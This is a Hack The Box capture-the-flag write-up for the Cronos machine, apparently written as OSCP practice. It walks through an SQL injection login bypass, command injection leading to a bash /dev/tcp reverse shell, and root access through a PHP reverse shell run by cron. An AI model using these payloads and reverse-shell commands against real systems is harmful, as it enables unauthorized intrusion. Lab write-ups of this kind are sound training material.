Hack The Box (HTB) Writeup - Cronos

Today we will solve Cronos Box of Medium difficulty level from Hack The Box (HTB). If you are new, HTB is a practice online lab to learn penetration testing. This box is helpful in preparing for OSCP. certification.


  • Run Nmap to find open ports and services
  • Enumerate DNS
  • Add IP and identified hostnames in /etc/hosts
  • Enumerate HTTP
  • Identify login on admin.cronos.htb
  • Use SQL Injection to bypass login
  • Check for Command Injection
  • Reverse the shell and locate user.txt flag
  • Transfer Linux Privilege scripts from the local machine to low privileged machine
  • Results
  • php reverse shell in crontab
  • Reverse shell and locate root.txt
source: hackthebox

Start with Nmap

Initial Scan


Run default scripts

nmap -sC -sV

Scan all ports

nmap -p-

Run UDP scan

nmap -sU

Using dig command to identify urls

dig axfr cronos.htb @

Add urls in /etc/hosts by using nano /etc/hosts

Check admin.cronos.htb on browser

Try using SQL Injection Payloads from link, able to login successfully by using below payload

' or 1=1 limit 1 -- -+

Try command injection, use ls command. It confirms command injection vulnerability is available in web application.

Intercept request in Burpsuite and use command injection vulnerability to get a reverse shell.

bash -c 'bash -i /dev/tcp/ 0>&1'

Got user.txt

Privilege escalation

Spawn a tty shell

python -c 'import pty; pty.spawn("/bin/sh")'

Run below commands to know the flavor of box

uname -a
cat /proc/version
cat /etc/issue

Identify Privilege Escalation script for Ubuntu 16.04.2. Click Here to download on local machine and then transfer it on compromised machine.

Run Privilege Escalation script


Found /var/www/laravel/artisan on run of linpeas.sh script

Check crontab

Download php-reverse-shell.php script

Change local IP and port number

To catch a reverse shell, set nc and run php script

Got a reverse shell

Got root.

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Disclaimer: This tutorial is for educational purpose only. Individual is solely responsible for any illegal act.

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